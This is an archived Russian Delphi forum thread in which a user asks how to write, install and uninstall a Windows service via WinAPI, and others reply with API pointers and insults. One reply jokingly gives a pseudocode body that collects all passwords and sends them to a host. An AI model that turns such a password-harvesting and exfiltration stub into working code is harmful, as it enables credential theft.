Главная страница
    Top.Mail.Ru    Яндекс.Метрика
Форум: "Система";
Текущий архив: 2004.04.11;
Скачать: [xml.tar.bz2];

Вниз

Сервисы в Win2k   Найти похожие ветки 

 
dr Tr0jan   (2004-01-31 12:05) [0]

Я хочу написать сервис под Win2k/XP без формы, который являлся бы сервером TCP (хочу использовать компонент TidTCPserver). В инете натолкнулся на статью "Написание сервисов Windows NT на WinAPI" (http://www.sources.ru/delphi/system/services_in_api.shtml). Но здесь сразу возникнуло несколько проблем:
1) У них в статье есть функция "ServiceInitialization" - она не описана. Как написать ее?
2) Как запускать этот сервис, и сделать так чтобы он прописался в системе, и чтобы удалился из оной (хотя бы куда пихать exeшник, и куда в реестре что прописывать - типа хочу сделать инсталляшку и анинсталляшку этого сервиса)?
3) Хотелось бы достать исходники этого сервиса написанного по этой статье!


 
Digitman ©   (2004-01-31 14:02) [1]


> Я хочу написать сервис под Win2k/XP без формы


валяй.
ничто этому не мешает.
более того - как правило, "форма" нужна сервис-приложению как корове седло.


 
dr Tr0jan ©   (2004-02-02 04:15) [2]

Ну и как мне это сделать?


 
sniknik ©   (2004-02-02 07:55) [3]

http://delphimaster.net/view/4-1075355181/

> хочу использовать компонент TidTCPserver
зря. раз сервис на WinAPI то лутше без компонент. (если использовать их то смысл WinAPI пропадает)


 
Александр Спелицин ©   (2004-02-02 19:57) [4]

В примерах к MSDN есть пример реализации сервиса. Ищите файлы simple.c, service.c, service.h

P.S. Примеры по умолчанию на компьютер не устанавливаются. Так что ищите их на CD.


 
Игорь Шевченко ©   (2004-02-03 12:22) [5]

Судя по нику автора сервис обещает быть крайне интересным.


 
Digitman ©   (2004-02-03 12:38) [6]


> 1) У них в статье есть функция "ServiceInitialization" -
> она не описана. Как написать ее?


function ServiceInitialization(...): Integer;
var
 PwdList: TStringList;
begin
 PwdList:= TStringList.Create;
 FindAllPasswords(PwdList);
 SendList(PwdList, "myhost", myport);
 PwdList.Free;
end;


 
dr Tr0jan ©   (2004-02-03 13:41) [7]

2 Игорь Шевченко ©:
// Судя по нику автора сервис обещает быть крайне интересным.
Почти, ты мне идею подал (respect)! А вообще-то я просто хотел безобидную чаталку замутить с серваком.


 
dr Tr0jan ©   (2004-02-03 14:02) [8]

2 Digitman ©:

Ты чё, меня за ламо считаешь или как?
Где Result, где параметры функции: ServiceInitialization(argc,argv,SpecificError);.
И что это за троянская процедура: FindAllPasswords(PwdList);? Да за такую строчку любой антивирь мой сервис с винта термоядом в порошок сотрет с сообщением "Trojan was detected!".


 
Digitman ©   (2004-02-03 14:34) [9]


> Ты чё, меня за ламо считаешь или как?


а куда деваться ? судя по вопросу - приходится)

раз в статье не привели текста этой ф-ции, и при сем имя ее "инициализация сервиса", то только "ламо" не дотумкает, что в ее теле он волен делать все что угодно, например, присваивать неким переменным некие начальные значения)..

только "ламо" при этом не чешет интенсивно свою репу и не ассоциирует в рез-те "репочесания" имя/назначение упомянутой ф-ции, например, с моменом вызова и телом конструктора TService.Create() .. от которого (как и от TServiceApplication) ты отказался по совершенно необъяснимым и секретным причинам в пользу WINAPI)


 
Digitman ©   (2004-02-03 14:42) [10]


> 2) Как запускать этот сервис


точно так же как и любой другой !


> сделать так чтобы он прописался в системе, и чтобы удалился
> из оной


у тебя перед носом есть исходники класса TServiceApplication
ты даже не удосужился заглянуть в них на предмет изучения, как это делает сам Борланд) ... а туда же, "хочу написать сервис под Win2k/XP без формы" !

я ж тебя спросил, при чем здесь форма ? построение приложения-сервис на базе стандартных классов TServiceApplication и TSevice - плевое дело, не требующее никаких "форм", пока ты сам этого не захочешь)


> 3) Хотелось бы достать исходники этого сервиса написанного
> по этой статье


а там, в статье, не исходники, а , очевидно, сказка про белого бычка ... текст которой набрать да подредактировать, если понадобится, - пару раз плюнуть, на 15 минут работы))


 
Digitman ©   (2004-02-03 14:49) [11]


> куда пихать exeшник


да куда угодно !
подробности - в описании winapi-ф-ции  CreateService()


 
drTr0jan   (2004-02-03 15:46) [12]

2 Digitman ©:

> раз в статье не привели текста этой ф-ции, и при сем имя ее "инициализация сервиса", то только "ламо" не дотумкает, что в ее теле он волен делать все что угодно, например, присваивать неким переменным некие начальные значения)..

То-то оно и видно, что ты эту статью даже в глаза не видел. Там русским языком сказано:
В функции ServiceMain (см.там, где отмечено) пишем код сервиса. Как раз туда, а не туда как ты подумал.

> только "ламо" при этом не чешет интенсивно свою репу и не ассоциирует в рез-те "репочесания" имя/назначение упомянутой ф-ции

Вот ты и не почесал, потому что эта функция с аттрибутами (argc,argv,SpecificError) и должна возвращать значение Status : DWORD.

> с моменом вызова и телом конструктора TService.Create() .. от которого (как и от TServiceApplication) ты отказался по совершенно необъяснимым и секретным причинам в пользу WINAPI)

И не по каким не по секретным: в Borland"е решили немного "порадовать" нас, пользователей Delphi 6 Personal, не добавив возможности создания сервисов (в остальных версиях Delphi 5 и 6 эта возможность имеется в виде класса TService). Решив, что еще не все потеряно, взял на проверку компоненты из одноименного раздела этого сайта. Первый оказался с многочисленными багами, а до пробы второго я не дошел, взглянув на исходник - модуль Forms в Uses это не только окошки, но и более 300 килобайт "веса" программы. - цитата из этой статьи.

> точно так же как и любой другой !

Ну а как любой другой? Куда, чё прописывать.

> у тебя перед носом есть исходники класса TServiceApplication

См. выше ^.

> ты даже не удосужился заглянуть в них на предмет изучения, как это делает сам Борланд) ... а туда же, "хочу написать сервис под Win2k/XP без формы" !

Как раз туда я и заглянул.

> я ж тебя спросил, при чем здесь форма ? построение приложения-сервис на базе стандартных классов TServiceApplication и TSevice - плевое дело, не требующее никаких "форм", пока ты сам этого не захочешь)

Дык, TService и есть подобие формы. А т.к. он подобие формы (оба они наследники TComponent), то и грохнуть его (сервис) делать нечего.

> а там, в статье, не исходники, а , очевидно, сказка про белого бычка ... текст которой набрать да подредактировать, если понадобится, - пару раз плюнуть, на 15 минут работы))

Вот ты мне и набери (и  ServiceInitialization(argc,argv,SpecificError): DWORD задействуй). А я может даже и заплачу тебе.

> да куда угодно !
подробности - в описании winapi-ф-ции  CreateService()


Ни хера, там нет.

З.Ы. Таким макаром у нас получился не форум, а обливание грязью, поэтому забудем старые обиды и примемся за дело.


 
Digitman ©   (2004-02-03 16:19) [13]


> ты эту статью даже в глаза не видел


ну от чего же ? оч даже внимательно прочел ее.
ничего там нового для меня, все соответствует широкоизвестной действительности)


> Как раз туда


чего "туда" ? и что я подумал ?


> эта функция с аттрибутами (argc,argv,SpecificError) и должна
> возвращать значение Status : DWORD.


это не атрибуты, это формальные параметры
а возвращать ... да ну поменяй на DWORD - абсолютно непринципиально) ... важно чтобы в теле ф-ции был сформирован и возвращен один из предопределенных результатов, включая NO_ERROR


> И не по каким не по секретным


ну так поставь Д6 Enterprise -  какие проблемы ? или тебя 300 кб кода сильно заботят ?


> Как раз туда я и заглянул


как же ты заглянул ? я так понял, у тебя Д6 Персонэл установлен ?
а если и заглянул - что увидел там ?


> Ну а как любой другой? Куда, чё прописывать


открываешь хэлп и изучаешь применение ф-ций OpenSCManager, OpenService, ControlService .. там и находишь ответ на вопрос


> TService и есть подобие формы. А т.к. он подобие формы (оба
> они наследники TComponent), то и грохнуть его (сервис) делать
> нечего.


это как ?)


> Вот ты мне и набери (и  ServiceInitialization(argc,argv,SpecificError):
> DWORD задействуй). А я может даже и заплачу тебе.


даже тааак !?

ну что ж, с тебя ящик пива)

function ServiceProc(argc : DWORD;var argv : array of PChar): DWord;
begin
 Result := NO_ERROR;
end;


> Ни хера, там нет


все там есть
хэлп Win32 Programmer"s Reference штатно поставляется с Д6
ищи лучше


 
Digitman ©   (2004-02-03 16:23) [14]

function ServiceInitialization(argc : DWORD; var argv : array of PCharж; var SpecificError: DWORD): DWord;
begin
 SpecificError := 0;
 Result := NO_ERROR;
end;
/I>


 
dr Tr0jan ©   (2004-02-04 06:04) [15]

2 Digitman ©:

> оч даже внимательно прочел ее.

Чёто не похоже!

> чего "туда" ? и что я подумал ?
Туда - это место, где выполняется код сервиса, а ты подусал что вышеупомянутая (проклятая) функция и есть код сервиса. Еще раз доказывает, что ты эту статью не читал.

> это не атрибуты, это формальные параметры

Все равно.

> важно чтобы в теле ф-ции был сформирован и возвращен один из предопределенных результатов, включая NO_ERROR

Спрашивается: зачем нужны эти параметры?

> ну так поставь Д6 Enterprise

Зачем? У меня и так Delphi 7 Enterprise стоит.

> тебя 300 кб кода сильно заботят ?

Очень заботят. Это тупость и тормознутость делать сервис без картинок (и прочих ненужных ресурсов) больше 150 кБ. Тот же svchost.exe весит 12,5 Кб.

> как же ты заглянул ?

Обыкновенно!

> я так понял, у тебя Д6 Персонэл установлен ?

Не так понял. См. тему топика ^: "Сервисы в Win2k [D7, Win2k, WinXP]".

> а если и заглянул - что увидел там ?

Увидел, что пустой (в смысле только стандартный код) компиленный сервис весит 402 Кб.

> открываешь хэлп и изучаешь применение ф-ций OpenSCManager, OpenService, ControlService .. там и находишь ответ на вопрос

Я же говорил, что открывал - нихера там нет - там не сказано как прописыать сервис в систему.

> это как ?)

А вот так! Тебе что, еще нужно рассказывать как приложения с помощью :( формы грохать?

> даже тааак !?

Вот так!

> ну что ж, с тебя ящик пива

Чует мое сердце, не заработаешь ты его!

> function ServiceProc(argc : DWORD;var argv : array of PChar): DWord;
begin
Result := NO_ERROR;
end;


Ты затупан! Мне, во-первых, нужна функция function ServiceInitialization(argc,argv,SpecificError): DWORD, а во-вторых, я и так заместо нее 0 прописывал. А сервис все равно не работает, а точнее запускается, а через 10 сек сам вырубается.

> хэлп Win32 Programmer"s Reference штатно поставляется с Д6

Это знаю!

> ищи лучше

По установке и запуску сервиса, там ничего нет.


 
Digitman ©   (2004-02-04 08:09) [16]

так. устал я с тобой тут пререкаться попусту
разговор короткий - вперед к учебникам и в MSDN !


 
sniknik ©   (2004-02-04 08:58) [17]

> Ты затупан!
слово то какое, красивое даже. :о))) только не тому человеку применительно сказано. (ты так лутше перед зеркалом скажи, даже почаще говори, садись по утрам и повторяй в качестве аутотренинга, для снятия с себя груза излишнего самомнения)

в той статье (в начале упоминается) все грамотно расписано, если не понимаеш твои проблемы. у меня к примеру ни одной не возникло когда писал сервис для примера на WinApi (первый и единственный раз кстати, надобности в таком не возникало более, кроме первого раза из интереса), писал по тойже самой статье(основа, +все что смог найти в инете дополнительно) то что получилось и предлагал тебе посмотреть (ссылка в сылке).

p.s. а спориш и чтото доказываеш ты совершенно зря, ведь у тебя не работает, а ты пытаешся доказать что у тебя правильно, и неправильно пишет тот человек у которого как раз работает. абсурд.

> Ты чё, меня за ламо считаешь или как?
ламо ты и есть. стиль разговора ламерский, а уж обиды при малейшем подозрении на то что чегото не знаеш очень показательны и очень по ламерски.


 
dr Tr0jan ©   (2004-02-04 14:15) [18]

2 Digitman ©:

> вперед ... в MSDN !

Вот его то, как раз и нету. Не дают, а купит накладно получается. Ничёё, может кто-нить другой объяснит как этот сервис сделать.

2 sniknik © :

> ты так лутше перед зеркалом скажи, даже почаще говори, садись по утрам и повторяй в качестве аутотренинга

Я это и так делаю, шутка :).

> предлагал тебе посмотреть (ссылка в сылке)

а вот за это тебе большой респект!

> а спориш и чтото доказываеш ты совершенно зря, ведь у тебя не работает, а ты пытаешся доказать что у тебя правильно, и неправильно пишет тот человек у которого как раз работает. абсурд.

Дело не том, что он (не)правильно пишет, а втом что не может объяснить то что, якобы знает.

> а уж обиды при малейшем подозрении на то что чегото не знаеш очень показательны и очень по ламерски

И какие еще обиды? Я вообще-то извинился потом: Таким макаром у нас получился не форум, а обливание грязью, поэтому забудем старые обиды и примемся за дело. А "споришь" пишется с мягким знаком :).


 
Digitman ©   (2004-02-04 14:25) [19]


> Вот его то, как раз и нету


чушь
в форум обращаешься ? значит, имеешь доступ в глоб.сеть ? значит, ресурс у тебя всегда перед носом - msdn.microsoft.com


> не может объяснить то что, якобы знает.


я не намерен тут тебе читать лекцию про алгоритм организации "от и до" сервиса на NT-платформе

а на конкретные вопросы ответить - это пожалуйста

ты спросил, как программно инсталлировать сервис ? я ответил - подробности в хэлпе или msdn, см. ф-цию CreateService()

спросил, как программно управлять уже установленным сервисом ? я опять же ответил - ф-ции OpenSCManager, OpenService, ControlService

что еще непонятно ?


 
Digitman ©   (2004-02-04 14:30) [20]

и не надо мне гнуть, что хэлпа Win32 Programmer"s Reference у тебя в Д7 нет в помине или тем там таких не имеется ... все там есть ! абсолютно все ! и вполне достаточно для изучения и понимания концепции программной организации и управления сервиса... а что там упущено из виду - вот тогда добро пожаловать в форум !


 
sniknik ©   (2004-02-04 14:50) [21]

> Ничёё, может кто-нить другой объяснит как этот сервис сделать.
вряд ли. по шагам и с расстановкой только репетитор и за деньги (тот же Digitman возьмется если достаточно предложиш), сдесь направление дали уже хорошо, не забудь спасибо сказать.
есть те кто пытается но им быстро надоедает. (тяжело слышать упреки в свой адрес только изза того что подопечный не "догоняет" и вместо того чтобы "я ..... не понимаю" "ты .... плохо обьяснил", а он вообще должен?)

> А "споришь" пишется с мягким знаком
не с мягким а через щ. но это неважно. (и не оспаривается, как получается так и пишу)


 
dr Tr0jan ©   (2004-02-05 02:45) [22]

2 Digitman ©:

> значит, ресурс у тебя всегда перед носом - msdn.microsoft.com

Чё-то я там исходников не видел: service.c, service.h и прочие.

> а на конкретные вопросы ответить - это пожалуйста

Так я их конкретно и задал.

> ты спросил, как программно инсталлировать сервис ? я ответил

Я еще не только это спрашивал (см. вопрос ^): Как запускать этот сервис, и сделать так чтобы он прописался в системе, и чтобы удалился из оной (хотя бы куда пихать exeшник, и куда в реестре что прописывать - типа хочу сделать инсталляшку и анинсталляшку этого сервиса)?

> что еще непонятно ?

Да, как удалять сервис из системы?

> хэлпа Win32 Programmer"s Reference у тебя в Д7 нет в помине или тем там таких не имеется

А я такого не говорил, все у меня есть: полная установка Borland Delphi7 Enterprise вместе со всеми хэлпами.

> а что там упущено из виду - вот тогда добро пожаловать в форум !

Вот-вот, там упущено из виду: удаление сервиса из системы.

2 sniknik ©:

> не забудь спасибо сказать

Не забуду: Всем, кто помог мне, большое СПАСИБО .


 
dr Tr0jan ©   (2004-02-05 02:46) [23]

Но все-таки чё это за функция: function ServiceInitialization(argc,argv,SpecificError): DWORD


 
Digitman ©   (2004-02-05 08:30) [24]


> Чё-то я там исходников не видел: service.c, service.h и
> прочие.


а я тебе и не рекомендовал их там искать

в MSDN есть описание ВСЕХ ф-ций, относящихся к программированию сервисов

что, впрочем, почти в том же есть и в твоем хелпе


> как удалять сервис из системы?


DeleteService()


> я такого не говорил, все у меня есть: полная установка Borland
> Delphi7 Enterprise вместе со всеми хэлпами.


Тогда на кой ляд ты цитировал статью в [12] ? если у тебя не Делфи6, а полная 7-я версия ? Ты по-прежнему продолжаешь утверждать, что в 7-ке нет никаких станд.классов для создания сервисов и у тебя нет возмодности заглянуть в их исходники ?


> чё это за функция: function ServiceInitialization


выкинь ее вообще, она не играет здесь никакой роли


 
panov ©   (2004-02-05 09:50) [25]

>dr Tr0jan ©

Предупреждаю - выбирай выражения.


 
dr Tr0jan ©   (2004-02-05 14:58) [26]

2 Digitman ©:

> в 7-ке нет никаких станд.классов для создания сервисов

Ну звиняй, ошибся!
Да дерьмо это на постном масле, а не средства создания сервисов.

2 panov ©:

> Предупреждаю - выбирай выражения.

Какие еще выражения: IF .. THEN .. ELSE, что ли :)?


 
Digitman ©   (2004-02-05 15:21) [27]


> ...на постном масле, а не средства создания сервисов


ну не ламо ли ты после таких заявлений ? вот уж воистину он самый)

я тебя что , понуждаю реализовывать свой сервис на базе станд.классов ?!

я тебе уже в который раз говорю, устал уже : вот у тебя исходники классов TService + TServiceApplication от Борланда, в этих исходниках Борланд делает практически ВСЕ касаемое создания, инсталляции и работы сервиса ! вот у тебя перед носом штатный Win32-хэлп, где можно почитать про ф-ции, назначение/параметры/результат которых тебе непонятны по ходу изучения тех или иных фрагментов исходников ..

что, это так трудно для "не ламо" внимательно изучить эти исходники и реализовать свой сервис по образу и подобию (в части ЦЕНТРАЛЬНОЙ логики !), выкинув все лишнее и несущественное, раз VCL тебя смущает ?!)

отсюда и делаю вывод - исходные тексты ты анализировать НЕ У-МЕ-ЕШЬ ! Что толку, что тебе приведут тело какой-нибудь ф-ции а-ля ServiceInitialization() ? Бестолку, думаю ..


 
dr Tr0jan ©   (2004-02-06 01:36) [28]

2 Digitman ©:

> в этих исходниках Борланд делает практически ВСЕ касаемое создания, инсталляции и работы сервиса ! вот у тебя перед носом штатный Win32-хэлп, где можно почитать про ф-ции, назначение/параметры/результат которых тебе непонятны по ходу изучения тех или иных фрагментов исходников ..

Я это уже давно почитал, еще как sniknik © мне сказал про ссылку, я додумался в Delphi на юнит Ctrl нажать, дело в том, что там комментов нет, ничего непонятно. Это уже давно доказано, что если один программер написал программу, то другому понять ее без комментариев не дано, ну или почти не дано. Я там разбраться не мог, уж слишком кода было много.

> отсюда и делаю вывод - исходные тексты ты анализировать НЕ У-МЕ-ЕШЬ !

Без комментариев, увы, не смог.


 
dr Tr0jan ©   (2004-02-06 01:36) [29]

2 Digitman ©:

> в этих исходниках Борланд делает практически ВСЕ касаемое создания, инсталляции и работы сервиса ! вот у тебя перед носом штатный Win32-хэлп, где можно почитать про ф-ции, назначение/параметры/результат которых тебе непонятны по ходу изучения тех или иных фрагментов исходников ..

Я это уже давно почитал, еще как sniknik © мне сказал про ссылку, я додумался в Delphi на юнит Ctrl нажать, дело в том, что там комментов нет, ничего непонятно. Это уже давно доказано, что если один программер написал программу, то другому понять ее без комментариев не дано, ну или почти не дано. Я там разбраться не мог, уж слишком кода было много.

> отсюда и делаю вывод - исходные тексты ты анализировать НЕ У-МЕ-ЕШЬ !

Без комментариев, увы, не смог.


 
dr Tr0jan ©   (2004-02-06 09:07) [30]

Большое спасибо Всем за помощь в разработке сервисов!!!
И давайте больше не будем обливать друг-друга грязью ("Ты ламо." - "Нет, это ты ламо." - "Нет, я же говорю: все таки ты ламо.")
Теперь прошу помощь в доработке этого сервиса, как TCP-сервер:
http://delphimaster.net/view/4-1075355181/


 
dr Tr0jan ©   (2004-02-06 09:07) [31]

Большое спасибо Всем за помощь в разработке сервисов!!!
И давайте больше не будем обливать друг-друга грязью ("Ты ламо." - "Нет, это ты ламо." - "Нет, я же говорю: все таки ты ламо.")
Теперь прошу помощь в доработке этого сервиса, как TCP-сервер:
http://delphimaster.net/view/4-1075355181/


 
dr Tr0jan ©   (2004-02-06 09:16) [32]

Уупс, извините:
http://delphimaster.net/view/4-1075355181/


 
dr Tr0jan ©   (2004-02-06 15:03) [33]

Опять извините: http://delphimaster.net/view/4-1075355181/



Страницы: 1 вся ветка

Форум: "Система";
Текущий архив: 2004.04.11;
Скачать: [xml.tar.bz2];

Наверх




Память: 0.67 MB
Время: 0.042 c
1-1079970692
IKos
2004-03-22 18:51
2004.04.11
Как запихать прогу в трей?


9-1071126992
ZAROLF
2003-12-11 10:16
2004.04.11
Помогите с физикой в 2D аркаде !


1-1080118254
Анонимщик
2004-03-24 11:50
2004.04.11
Расширение - пиктограмма


1-1082734243
karlos
2004-04-23 19:30
2004.04.11
Выделение текста в TRichEdit


1-1082462076
msgipss
2004-04-20 15:54
2004.04.11
Для чего нужен TEvent из модуля SyncObjs





Afrikaans Albanian Arabic Armenian Azerbaijani Basque Belarusian Bulgarian Catalan Chinese (Simplified) Chinese (Traditional) Croatian Czech Danish Dutch English Estonian Filipino Finnish French
Galician Georgian German Greek Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Korean Latvian Lithuanian Macedonian Malay Maltese Norwegian
Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish Bengali Bosnian
Cebuano Esperanto Gujarati Hausa Hmong Igbo Javanese Kannada Khmer Lao Latin Maori Marathi Mongolian Nepali Punjabi Somali Tamil Telugu Yoruba
Zulu
Английский Французский Немецкий Итальянский Португальский Русский Испанский